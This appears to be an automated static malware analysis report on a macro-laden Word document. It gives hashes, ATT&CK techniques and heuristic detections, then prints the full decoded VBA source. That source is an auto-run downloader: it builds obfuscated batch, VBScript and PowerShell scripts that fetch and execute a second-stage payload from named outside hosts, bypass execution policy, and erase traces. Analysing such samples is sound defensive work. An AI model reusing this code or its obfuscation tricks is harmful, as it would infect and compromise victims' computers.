Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 323d87b721263297…

MALICIOUS

Office (OLE)

222.0 KB Created: 2015-03-16 16:21:00 Authoring application: Microsoft Office Word First seen: 2015-04-05
MD5: 2bf9158fa359e527387ef5d7cf26ae11 SHA-1: 5c68501695d7330389b8ff9a011c2ba62525f5a2 SHA-256: 323d87b72126329729a26a6d7359efcbb6ae3b881897d1cf3ced1e95af797dd7
434 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1071.001 Web Protocols T1204.002 Malicious File

The sample contains VBA macros that attempt to obfuscate and reassemble dangerous API names like 'WScript.Shell'. It also constructs URLs from string expressions, including http://12cunghoangdao.edu.vn/wp-content/plugins/wp_add/logo.jpg, which are likely used to download a second-stage payload. The document body explicitly instructs the user to 'Enable Content', a common lure for macro-based malware.

Heuristics 15

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 9 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell(b, 0)
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Set objWMIService = GetObject _
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set objWMIService = GetObject _
  • Payload URL assembled from a Chr()/Asc() string expression (3 URLs) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Environ(a)
  • Payment redirection / bank-detail change lure high SE_PAYMENT_REDIRECT_LURE
    Document describes new or changed bank, wire, ACH, IBAN, SWIFT, or routing instructions — a high-value business-email-compromise pattern
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://12cunghoangdao.edu.vn/wp-content/plugins/wp_add/logo.jpg Referenced by macro
    • http://savepic.su/5436100.pngReferenced by macro
    • http://savepic.su/5423812.pngReferenced by macro
    • http://office365.com/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19458 bytes
SHA-256: cb4563246f7ff45205f8e839e3b88c51b86667d1be8e0cdbe439fddd73635eec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
    h
End Sub
Sub h()
   
     BSADSA = "ksahdj kjh j12h2 1jk"
     BART212 = ""
     KSODW = "" & "d-up" + "d" & "ate"
     BART212 = KSODW
     BART2 = Chr(95 + 2) + Chr(105 - 5) & "" & "o" & "" & "b" & "e" + "ac" & BART212
     JISKKK = "" & "" & Chr(97) + Chr(100) + "o" & "b" & "ea" & "c" + BART212
     VBT2 = "" & JISKKK & ""
     VBTXP2 = Chr(97) & Chr(100) & "o" & "be" + "ac" & BART212 + "x" & "" & "" & Chr(Asc("p")) & ""
     
     PST2 = VBT2
     HUEFQ = "" + Module4.Plain("" & "us" & "er" + Chr(110) & "a" + Chr(109) + Chr(101) & "")
     PST1 = "" + PST2 + "." + Chr(Asc("p")) + Chr(100 + 15) + "1" + ""
     VBT1 = "" + VBT2 + "." + Chr(118) + "b" + Chr(Asc("s")) + ""
     JJJJJJJJJJJJJIOWQJDOQWIHDUIQWTYTYDQWYGG = "jgh 12jh3ggh121hgj3gh12jghj123g21jkh 3" + _
     "h j23hgjk23gh4gkg234jh23jhgl3k  23jk 4lhgj4g 2jh4g23jh 4jh32g  ghj23g 4jh23g4jh23g4jh324 "
     VBTXP = VBTXP2 + "." + Chr(Asc("v")) + Chr(Asc("b")) + "s" + ""
     STT = "" + "44" + "4." + "pn" + "g" + ""
     
     hjife = 51 + 50 + Sgn(-6)
     kktd = hjife
     BART = BART2 + Chr(Abs(kktd - 100 - 45 - Sgn(5))) + Chr(Abs(kktd - 100 - 96 - 2)) + Chr(Asc(Chr(Asc("a")))) + Chr(Asc(Chr(Abs(kktd - 100 - 15 - 1)))) + ""
     KJASKDJ = "kj23 k4j3k2jlk23j 4kl32j4 kh3 4jk23g 4hj23gfh gh2f 4hfg234hfg 23hgfg4f4 hg2f 4hg23f 4gh23f4h23f4 h23gf 4h23"
     'JSIQOJQ = ""
     
     JSIQOJQ = Chr(Abs(kktd - Sqr(4) - 100 - 44)) + Chr(Abs(kktd - 100 - 97 - Module3.Signing(15))) + Chr(Asc(Chr(Abs(kktd / 2 + Sqr(4) + 44 + Sgn(Sqr(16)))))) + Chr(Asc(Chr(kktd + Fix(16.2))))
     KJHDU = BART2 + JSIQOJQ
     KIOAJD = KJHDU
     BART = KIOAJD
     JIDWQQQ = "" & "c" & ":\U" & "ser" & "s\" + HUEFQ + "\A" & "ppDa" & "ta\L" & "ocal\" & "Tem" & "p\"
     
     MY_FILENDIR = JIDWQQQ & PST1 + "" & ""
     STAT = JIDWQQQ & STT + "" & ""
     ASDASDSA = JIDWQQQ & BART + "" & ""
     MY_FILDIR = JIDWQQQ & VBT1
   
     
   
     HJUTTT = VBTXP
     XPFILEDIR = "" + "c" & ":\W" & "indows\T" & "em" & "p\" + HJUTTT
     UHFD = "" & "c" & ":\W" & "indows\T" & "emp\"
     TRT = UHFD + BART
     KRT = TRT
     HYF = KRT
      
     KJSAHDFFFJ = MY_FILDIR
     
      
     Dim Kjqiwdj, FileNumber, FileNumb, FileNu, FileNuG, FileNs, mttt, jskw As Integer
     Dim Uuwqdhj As Integer
    
     Dim retVal As Variant
     
     FileNumber = FreeFile
     FileNumb = FreeFile
     FileNu = FreeFile
     FileNukk = FreeFile
     
     FileNs = FreeFile
     Kasdwq = FreeFile
     FileNuG = FreeFile
     
    Dim objWMIService As Variant
    Dim colOperatingSystems As Variant
    Dim objOperatingSystem As Variant
    
    Set objWMIService = GetObject _
    ("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
    SETL = "colOperatingSystemsKSAHDIUOQWdsad asad32k r8929h2f uigt8y yr2u3gby2g yu dg2uyg3bdu "
    
    Set colOperatingSystems = objWMIService.ExecQuery("Select * from W" + "in3" + "2_Op" + "eratin" + "gS" + "ystem" & "")
    For Each objOperatingSystem In colOperatingSystems
        SysReport = SysReport & "The operating system on this computer is " & _
            objOperatingSystem.Caption & "  (" & objOperatingSystem.Version & ")"
    Next
     
    Set objWMIService = GetObject _
    ("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
    Set colOperatingSystems = objWMIService.ExecQuery("Select * from W" + "in3" + "2_Op" + "eratin" + "gS" + "ystem" & "")
    For Each objOperatingSystem In colOperatingSystems
        winverstr = objOperatingSystem.Version
    Next

    winver = Module3.Vava(winverstr)
    WaitFor (1)
    jskw = winver
    
      
    URLLSK = "12cunghoangdao.edu.vn/wp-content/plugins/wp_add/logo"
    STAA = "sa" & "vepic.su/5436100"
    STAB = "sa" & "vepic.su/5423812"
 
    ' UWGD = XPFILEDIR
    ' If (Len(Dir(MY_FILENDIR)) <> 0) Then
    '  SetAttr MY_FILENDIR, vbNormal
    '  Kill MY_FILENDIR
    ' End If
     
   '  If (Dir(ASDASDSA) <> "") Then
   '   SetAttr ASDASDSA, vbNormal
   '   Kill ASDASDSA
   '  End If
     
     
   '  If (Dir(MY_FILDIR) <> "") Then
   '   SetAttr MY_FILDIR, vbNormal
   '   Kill KJSAHDFFFJ
   '  End If
     
     
   '  If (Dir(STAT) <> "") Then
   '   SetAttr STAT, vbNormal
   '   Kill STAT
   '  End If
     
   
   '  If (Dir(UWGD) <> "") Then
   '   SetAttr UWGD, vbNormal
   '   Kill UWGD
   '  End If
   
   
 
If (jskw <= 5.5) Then
 'NUWHDGJS = UHFD + "euifhszdf.jfi"
 'Open NUWHDGJS For Output As #Kasdwq
 'Close #Kasdwq
 NUWHDGJS = HYF
    Open NUWHDGJS For Output As #Kasdwq
     Print #Kasdwq, ""
     Print #Kasdwq, "" & Chr(Asc("@")) & "e" & "cho off"
     Print #Kasdwq, ":pinkator"
     Print #Kasdwq, Chr(Asc("p")) & "in" + "g 1.3.1.2 -n" & " 2" + ""
     KIWJIQDKLWQDNKWQD = "kwhjek21 jehgj12 21jhge hj21gh1j2geh 1j2egk j1heg kjfteyf y1hg 12hf eh1g2efj 12"
     Print #Kasdwq, "c" & "s" + "c" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\W" + "indows\T" + "emp" + "\" + VBTXP + Chr(34)
     Print #Kasdwq, Chr(Asc("p")) & "in" + "g 2.2.1.1 -n" & " 2" + ""
     Print #Kasdwq, "" & ":windows"
     Print #Kasdwq, ""
     Print #Kasdwq, "" + "c:\W" + "indows\Te" + "mp\444" + "." + Chr(Asc(Chr(Asc("e")))) + Chr(Asc("x")) + Chr(Asc("e"))
     Print #Kasdwq, ":loop"
     Print #Kasdwq, Chr(Asc("p")) & "in" + "g " + "1.3.1.2 -n" & _
     " 1"
     Print #Kasdwq, "set tar1=" + Chr(34) + BART + Chr(30 + 3 + 1)
     Print #Kasdwq, "set stat=" + Chr(34) + STT + Chr(33 + 1)
     Print #Kasdwq, "del " + Chr(34) + "c:\Windows\Temp\" + VBTXP + Chr(34)
     Print #Kasdwq, "del " + Chr(34) + "c" & ":\" & "W" & "ind" & "ows\T" & "em" & "p\" + Chr(34) + "" + "%ta" + "r1%" + "" & ""
     Print #Kasdwq, "del " + Chr(34) + "c" & ":\" & "W" & "ind" & "ows\T" & "em" & "p\" + Chr(34) + "" + "%s" + "tat%" + "" & ""
     Print #Kasdwq, "if " + "exist " + Chr(34) & "" & "c" & ":\W" + "indows\T" + "emp\" + Chr(34) + "%tar1%" + " goto loop" + ""
     Print #Kasdwq, "" + "if " + "exist " + Chr(34) + "c:\W" + "indows\T" + "e" & "mp\" + "" & "" + VBTXP + Chr(34) + " g" + "ot" + "o lo" + "op" + ""
     Print #Kasdwq, "exit"
     Close #Kasdwq
   
     WaitFor (2)
     mttt = 88

     Open XPFILEDIR For Output As #FileNumber
     Print #FileNumber, "strRT = " + Chr(34) + "h" + Chr(Asc(Chr(Asc("t")))) + "t" + "p" + "://" + URLLSK + "." + "" & Chr(Asc("j")) + Chr(Asc("p")) + "g" + Chr(34)
     Print #FileNumber, "statRT = " + Chr(34) + "h" + Chr(Asc(Chr(Asc("t")))) + "t" + "p" + "://" + STAA + "." + Chr(Asc("p")) + Chr(Asc("n")) + "g" + Chr(34)
     Print #FileNumber, "" + "jfeuygq = " + Chr(34) + "4.e" + Chr(34) + "+" + Chr(34) + "xe" + Chr(34)
     Print #FileNumber, "strTecation = " + Chr(34) + "c:\" + Chr(Asc("W")) + "indows\" + Chr(Asc("T")) + "emp\44" + Chr(34) + "+" + "jfeuygq"
     Print #FileNumber, "frgea =" + Chr(34) + "M" + Chr(34) + "+" + Chr(34) + "SX" + Chr(34) + "+" + Chr(34) + "ML2.X" + Chr(34) + "+" + Chr(34) + "MLH" + Chr(34) + "+" + Chr(34) + "T" + Chr(34) + "+" + Chr(34) + "T" + Chr(34) + "+" + "Chr(80)"
     Print #FileNumber, "Set objXML" + "H" + Chr(Asc("T")) + "TP = C" + "reate" + Chr(Asc("O")) + "bject(frgea)" + ""
     Print #FileNumber, "Set mkH = C" + "reate" + Chr(Asc("O")) + "bject(frgea)"
     Print #FileNumber, "" + "" & "objXM" & "LH" & "T" & "TP.op" & "en " + Chr(34) + "G" & "ET" + Chr(34) + ", strRT, False"
     Print #FileNumber, "mkH" & ".op" & "en " + Chr(34) + "G" & "ET" + Chr(34) + ", statRT, False" + ""

     JASHDJK = "send()"
     Print #FileNumber, "objXMLHTTP." + JASHDJK + " "
     Print #FileNumber, "mkH." + JASHDJK + " "
     Print #FileNumber, "" & "If objXMLHTTP.Status = 200 Then" + "" & ""
     Print #FileNumber, "uwqhda = " + Chr(34) + "ADODB." + Chr(34)
     Print #FileNumber, "" + "Set objADOStream = C" + "reateO" + "bject(uwqhda+Chr(Sgn(-4)+84)+" + Chr(34) + "tream" + Chr(34) + ")"
     Print #FileNumber, "" + "ob" + "jA" + "DOSt" + "ream.O" + "pen " + ""
     Print #FileNumber, "objADOStream.Type = 1"
     Print #FileNumber, "objADOStream.Write objXMLHTTP.Re" + "" + "sp" + "onse" + "Body "
     Print #FileNumber, "objADOStream.Position = 0 "
     Print #FileNumber, "objADOStream.S" & "aveToF" & "ile st" & "rT" & "ecation " + ""
     Print #FileNumber, "objADOStream.Close "
     Print #FileNumber, "Set objADOStream = Nothing "
     Print #FileNumber, "E" & "nd if " & ""
     Print #FileNumber, "" + "Set objXMLHTTP = Nothing"
     Print #FileNumber, "Set objS" + "hell " & "=" + " " + Chr(Asc("C")) + "reate" + "O" + "bject(" + Chr(34) + "W" + "S" + "cript." + "S" + "hell" + Chr(34) + ")" + ""
     
     Print #FileNumber, ""
     Close #FileNumber

     
     WaitFor (1)
     ASKJD = TRT
     NUS = Module3.France(retVal, ASKJD)
     
End If



If (winver > 5.5) Then
     Open MY_FILENDIR For Output As #FileNumber
     Print #FileNumber, "" & "$do" & "wn = " + Chr(Asc("N")) & "ew" & "-" & Chr(79) & "bject " & Chr(Asc(Chr(Asc("S")))) & "y" & "stem." & Chr(78) & "et." & Chr(87) & "eb" & "Cli" & "ent;"
     Print #FileNumber, "" & "$stat = '" + Chr(Asc(Chr(Asc("h")))) + Chr(Asc(Chr(116))) & "" + Chr(Asc("t")) + Chr(Asc(Chr(Asc("p")))) + "://" + STAB & "" & ".p" & "n" + "g';"
     HUHHUUHUHUHUHUKMK = "6ht76 7tftf t7f 7f yfk ftyf6f tu ftyf "
     Print #FileNumber, "$gg" + "tt  = '" + Chr(Asc(Chr(Asc("h")))) + Chr(Asc(Chr(116))) & "" + Chr(Asc("t")) + Chr(Asc(Chr(Asc("p")))) + "://" + URLLSK & "" & "." & "" & "j" & "p" + "g';"
     Print #FileNumber, "" & "$fi" & "le = 'c:\Users\" + HUEFQ + "\Ap" + "pDa" & "ta" & "\Lo" + "cal\T" & "e" + "mp\" + "4" & "44." + Chr(101) & "x" & "e';" + ""
     Print #FileNumber, "$statfile = 'c:\Users\" + HUEFQ + "\AppData\Local\Temp\" + "4" & "44." + "j" & "pg';"
     Print #FileNumber, "" & "" & "" & "" & "$do" & "wn.hea" & "ders[" + Chr(39) + "User-Agent" + Chr(39) + "] = " + Chr(39) + Chr(39) + "+" + "'Mozilla/5.0 (Ma" & "cintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Saf" & "ari/600.1.25'" + "+''" + "" + ";"
     Print #FileNumber, "$dasdw='123';"
     Print #FileNumber, "$d" + "o" & Chr(Asc("w")) + "n" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($gg" & "tt,$" & "file);"
     Print #FileNumber, "$d" + "o" & Chr(Asc("w")) + "n" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($s" & "tat,$" & "statfile);"
     Print #FileNumber, "$asdw='123';"
     Print #FileNumber, "$ScriptDir = $MyInvocation.ScriptName;"
     Print #FileNumber, "$noneFilePath = 'c:\Users\" + HUEFQ + "\App" & "Data\Lo" & "cal\Te" & "mp\" + "444.e" & Chr(Asc("x")) + "e" & "';"
    
     JIUSD = "ad" & "obe'+'acd-up" & "date"
    
     Print #FileNumber, "$vbsFilePath = 'c:\Users\" + HUEFQ + "\Ap" & "pData\Lo" & "cal\Te" & "mp\" + JIUSD + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "v" + Chr(39) + Chr(43) + Chr(39) + "bs" + Chr(39) + "+" + Chr(39) + Chr(39) + ";"
     Print #FileNumber, "$statFilePath = 'c:\Users\" + HUEFQ + "\Ap" & "pData\Lo" & "cal\Te" & "mp\" + "444" + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "j" + Chr(39) + Chr(43) + Chr(39) + "pg" + Chr(39) + ";"
     Print #FileNumber, "$b" + "tFilePath = 'c:\Users\" + HUEFQ + "\Ap" & "pData\Lo" & "cal\Te" & "mp\" + JIUSD + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "b" + Chr(39) + Chr(43) + Chr(39) + "at" + Chr(39) + ";"
     Print #FileNumber, "$p" + "sFilePath = 'c:\Users\" + HUEFQ + "\Ap" & "pData\Lo" & "cal\Te" & "mp\" + JIUSD + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "p" + Chr(39) + Chr(43) + Chr(39) + "s1" + Chr(39) + ";"
    
      
     Print #FileNumber, "St" & "art-Sleep -s 15;"
     
     Print #FileNumber, "c" & Chr(109) & "d.e" & Chr(120) & "e /c  'c:\Users\" + HUEFQ + "\App" & "Data\Lo" & "cal\T" & "emp" + "\444.e" & Chr(120) & "e';     "
     Print #FileNumber, "$file1 = gci $" + "v" + "b" + "sFilePath -Force"
     Print #FileNumber, "$file2 = gci $" + "b" + "t" + "FilePath -Force"
     
     Print #FileNumber, "$file3 = gci $" + "p" + "s" + "F" + "ilePath -Force"
      Print #FileNumber, "$kasldds = $vbsFilePath"
     Print #FileNumber, "" + "If (Test-Path $kasldds){ Remove-Item $kasldds }"
     Print #FileNumber, "" + "If (Test-Path $b" + "tFileP" + "ath){ Remove-Item $b" + "tFileP" + "ath }" + ""
     Print #FileNumber, "" + "If (Test-Path $s" + "tatFileP" + "ath){ Remove-Item $st" + "atFileP" + "ath }" + ""
     Print #FileNumber, "" + "$jsdhyfueh2hds = 'asdghyg23d jashdhsagdhasghdhgas';" + ""
     Print #FileNumber, "" + "If (Test-Path $no" + "neFi" + "leP" + "ath){ Remove-Item $n" + "oneFi" + "lePa" + "th }" + ""
     Print #FileNumber, "Remove-Item $MyINvocation.InvocationName"
     Close #FileNumber
    KJUCBHS = " = "
    
    Open MY_FILDIR For Output As #FileNumb
    Print #FileNumb, "Dim dff"
    Print #FileNumb, "dff = 68"
    Print #FileNumb, "c" & "ur" & Chr(Asc("r")) & "ent" + Chr(Asc("D")) + "irec" + "tory = left(WSc" & "ript.ScriptFullName," & "(L" + "en(W" + "S" + "cri" + "pt.Sc" + "riptFullName))-(len(W" + "Sc" + "ript.ScriptName)))"
    Print #FileNumb, "S" & "et o" & "bj" & Chr(Asc("F")) & "SO=C" & "re" & "at" & "eO" & "b" & "je" & "ct(" & Chr(34) & Chr(34) & "&" & Chr(34) & "S" & Chr(34) & Chr(38) & Chr(34) & "cr" & "ipt" & "ing.F" & "ileS" & "ystem" & "Ob" & "ject" & Chr(34) + "&" + Chr(34) + Chr(34) & ")"
    KJSUWD = "ad" + "obe" + Chr(34) + "&" + Chr(34) + "acd-up" + "date"
    Print #FileNumb, "cur" + "rent" + Chr(Asc("F")) + "ile = " & Chr(34) & "C:\" & Chr(Asc("U")) & "sers\" + HUEFQ + "\AppData\Local\Temp" + "\" + KJSUWD + Chr(34) + "&" + Chr(34) + "." + Chr(34) + "&" + Chr(34) + "p" + Chr(34) + "&" + Chr(34) + "s1" + Chr(34)
    Print #FileNumb, "" & Chr(83) & "et " & Chr(111) & "bj" & Chr(83) & "he" + Chr(Asc("l")) + Chr(Asc("l")) + KJUCBHS & Chr(Sgn(-4) + 68) + "reate" & Chr(79) & Chr(98) & "ject(" & Chr(34) & "W" & Chr(115) & "cript." & Chr(115) & "hell" & Chr(34) & ")" + ""
    Print #FileNumb, "" + "" & Chr(111) & "bj" & Chr(83) & "hell" & Chr(46) & Chr(82) & "un " + Chr(34) + Chr(34) + "+" & Chr(34) & "p" & Chr(111) & "w" + Chr(34) + "+" + Chr(34); "er" & Chr(83) + Chr(34) + "+" + Chr(34) + Chr(34) + "+" + Chr(34) + Chr(34) + "+" + Chr(34) & "hell.e" & Chr(120) & "e -n" & Chr(111) & "exit -Exe" & "cutionP" & Chr(111) & "licy" & " byp" & "ass -n" & Chr(111) & "pr" & Chr(111) & "file -file " & Chr(34) & " & currentFile,0,true" + "" & ""
    
    Print #FileNumb, ""
    Close #FileNumb
    
    Open ASDASDSA For Output As #FileNs
    Print #FileNs, "@echo off"
    Print #FileNs, "pi" + "ng 1.1.2.2 -n" & " 2"
    Print #FileNs, "chcp 1251"
    Print #FileNs, ":asdqwqdw"
    Print #FileNs, "set Gds1=" + Chr(34) + "." + Chr(34)
    Print #FileNs, "set Gds2=" + Chr(34) + "v" + Chr(34)
    Print #FileNs, "set Gds3=" + Chr(34) + "bs" + Chr(34)
    Print #FileNs, "set Ads3=" + Chr(34) + "acd-up" & "date" + Chr(34)
    Print #FileNs, "set Gds4=" + Chr(34) & "c:\Users\" + HUEFQ + "\AppData\Local\Temp" + "\" + "adobe" + Chr(34) + "%Ads3%"
    Print #FileNs, "c" & "sc" & "ri" & "pt" & Chr(46) + Chr(101) & Chr(120) & "e " & "%Gds4%" + "%Gds1%%Gds2%%Gds3%"
    Print #FileNs, "exit"
    Close #FileNs
       
    SetAttr MY_FILENDIR, vbNormal
    SetAttr ASDASDSA, vbNormal
    SetAttr MY_FILDIR, vbNormal
     
    WaitFor (1)
    
    LJSUIAJHDKQ = ASDASDSA
    NUS = Module3.France(retVal, LJSUIAJHDKQ)
    
End If



    Module1.findTest
    Module1.secondTest
    Module1.abdklw
    
  
End Sub
Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds

Do While Timer < SngSec
DoEvents
Loop

End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub


Attribute VB_Name = "Module3"
Public Function France(a As Variant, b)
a = _
Shell(b, 0)
France = a
End Function

Public Function Signing(a As Integer)
Signing = Sgn(a)
End Function


Public Function Vava(a)
Vava = Val(a)
End Function

Attribute VB_Name = "Module4"
Public Function Plain(a As String)
Plain = _
Environ(a)
End Function

Attribute VB_Name = "Module1"

Sub findTest()
Dim firstTerm, secondTerm, selectedText As String
Dim hhhg, selRange As Range
Set hhhg = ActiveDocument.Range
JIS = Chr(Asc(Chr(60)))
IHRR = "" & "" & "" & JIS + "" + "s" + "e" & "l" & "e" + "c" & "t>" + KSJD + ""
JFRR = "" & "" & "" & JIS + "" + "/" + "s" & "e" + "l" & "e" & "c" + "t>" + ""
firstTerm = "" & IHRR
secondTerm = "" & JFRR

WITHrtas = "Find"
With hhhg.Find
.Text = firstTerm
.MatchWholeWord = True
'ashdkjqhdkjqwhdjk
.Execute
EXECUTEFD = "lakjsd"
hhhg.Collapse direction:=wdCollapseEnd
Set selRange = ActiveDocument.Range
selRange.Start = hhhg.End
.Text = secondTerm
.MatchWholeWord = True
'kashdjkashdkjashdjksh
'.Executed
EXECUTEFDDD = "j jkh12jh3 kj2 1jkhlasljkdklj kj kl1h23j "
.Execute 'Executed'l;as
EXECUTEFDD = "lasljkdklj kj kl1h23j "

hhhg.Collapse direction:=wdCollapseStart
selRange.End = hhhg.Start
selectedText = selRange.Delete
End With
End Sub


Sub secondTest()
Dim firstTerm As String
Dim secondTerm As String
Dim myRanget As Range
Dim yytt As Range
Dim selRanget As Range
Dim selectedTextt As String

Set yytt = ActiveDocument.Range

firstTerm = "<" + "in" & "bo" + "x>"
secondTerm = "</" + "in" & "bo" + "x>"
With yytt.Find
.Text = firstTerm
.MatchWholeWord = True ' MatchWholeWord
LAJSDHUW = ".MatchWholeWord askj das"
'jklasjdklsajdiqow
.Execute
yytt.Collapse direction:=wdCollapseEnd

Set selRanget = ActiveDocument.Range
selRanget.Start = yytt.End
'2jhkhgsdsgsj
.Text = secondTerm
.MatchWholeWord = True
'2jhkhgsdsgsj
'.Executed
EXECUTEFDDD = "j jkh12jh3 kj2 1jkhlasljkdklj kj kl1h23j "
.Execute
EXECUTEFDD = "lasljkdklj kj kl1h23j "
yytt.Collapse direction:=wdCollapseStart
selRanget.End = yytt.Start
selectedTextt = selRanget
selRanget.Font.Color = wdColorBlack
End With
End Sub


Sub abdklw()
For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "" + "<" & "sel" & "ect>" + ""
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange

    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "</s" & "ele" & "ct>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange
    
    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "<" & "in" & "box>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange

    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "</" & "in" & "box>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange
End Sub